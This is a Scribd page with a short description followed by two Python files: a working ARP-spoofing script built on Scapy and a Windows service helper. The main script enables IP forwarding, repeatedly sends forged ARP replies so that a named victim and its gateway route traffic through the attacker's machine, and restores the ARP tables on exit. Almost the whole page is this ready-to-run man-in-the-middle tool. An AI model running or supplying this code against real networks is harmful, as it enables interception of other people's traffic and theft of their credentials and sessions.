Scribd
Upload
92 views

Build An Spoofer Using Scapy

This Python script enables ARP spoofing on Linux and Windows systems. It uses the Scapy library to send spoofed ARP responses, redirecting network traffic meant for one device to another. The script can enable IP forwarding, get a device's MAC address, spoof ARP entries to redirect traffic, and restore normal ARP entries. It provides arguments to specify the target and host IPs and performs spoofing in a loop, alternating between hosts, until interrupted.

Uploaded by

jofen78507
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
92 views

Build An Spoofer Using Scapy

This Python script enables ARP spoofing on Linux and Windows systems. It uses the Scapy library to send spoofed ARP responses, redirecting network traffic meant for one device to another. The script can enable IP forwarding, get a device's MAC address, spoof ARP entries to redirect traffic, and restore normal ARP entries. It provides arguments to specify the target and host IPs and performs spoofing in a loop, alternating between hosts, until interrupted.

Uploaded by

jofen78507
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

#arp_spoof.

py

from scapy.all import Ether, ARP, srp, send


import argparse
import time
import os
import sys

def _enable_linux_iproute():
"""
Enables IP route ( IP Forward ) in linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
# already enabled
return
with open(file_path, "w") as f:
print(1, file=f)

def _enable_windows_iproute():
"""
Enables IP route (IP Forwarding) in Windows
"""
from services import WService
# enable Remote Access service
service = WService("RemoteAccess")
service.start()

def enable_ip_route(verbose=True):
"""
Enables IP forwarding
"""
if verbose:
print("[!] Enabling IP Routing...")
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")

def get_mac(ip):
"""
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
if ans:
return ans[0][1].src

def spoof(target_ip, host_ip, verbose=True):


"""
Spoofs `target_ip` saying that we are `host_ip`.
it is accomplished by changing the ARP cache of the target (poisoning)
"""
# get the mac address of the target
target_mac = get_mac(target_ip)
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

def restore(target_ip, host_ip, verbose=True):


"""
Restores the normal process of a regular network
This is done by sending the original informations
(real IP and MAC of `host_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip,
hwsrc=host_mac, op="is-at")
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ARP spoof script")
parser.add_argument("target", help="Victim IP Address to ARP poison")
parser.add_argument("host", help="Host IP Address, the host you wish to
intercept packets for (usually the gateway)")
parser.add_argument("-v", "--verbose", action="store_true", help="verbosity,
default is True (simple message each second)")
args = parser.parse_args()
target, host, verbose = args.target, args.host, args.verbose

enable_ip_route()
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, verbose)
# telling the `host` that we are the `target`
spoof(host, target, verbose)
# sleep for one second
time.sleep(1)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
restore(host, target)
#services.py

import win32serviceutil
import time

class WService:
def __init__(self, service, machine=None, verbose=False):
self.service = service
self.machine = machine
self.verbose = verbose

@property
def running(self):
return win32serviceutil.QueryServiceStatus(self.service)[1] == 4

def start(self):
if not self.running:
win32serviceutil.StartService(self.service)
time.sleep(1)
if self.running:
if self.verbose:
print(f"[+] {self.service} started successfully.")
return True
else:
if self.verbose:
print(f"[-] Cannot start {self.service}")
return False
elif self.verbose:
print(f"[!] {self.service} is already running.")

def stop(self):
if self.running:
win32serviceutil.StopService(self.service)
time.sleep(0.5)
if not self.running:
if self.verbose:
print(f"[+] {self.service} stopped successfully.")
return True
else:
if self.verbose:
print(f"[-] Cannot stop {self.service}")
return False
elif self.verbose:
print(f"[!] {self.service} is not running.")

def restart(self):
if self.running:
win32serviceutil.RestartService(self.service)
time.sleep(2)
if self.running:
if self.verbose:
print(f"[+] {self.service} restarted successfully.")
return True
else:
if self.verbose:
print(f"[-] Cannot start {self.service}")
return False
elif self.verbose:
print(f"[!] {self.service} is not running.")

def main(action, service):


service = WService(service, verbose=True)
if action == "start":
service.start()
elif action == "stop":
service.stop()
elif action == "restart":
service.restart()

# getattr(remoteAccessService, action, "start")()

if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="Windows Service Handler")
parser.add_argument("service")
parser.add_argument("-a", "--action", help="action to do, 'start', 'stop' or
'restart'",
action="store", required=True, dest="action")

given_args = parser.parse_args()
service, action = given_args.service, given_args.action
main(action, service)

You might also like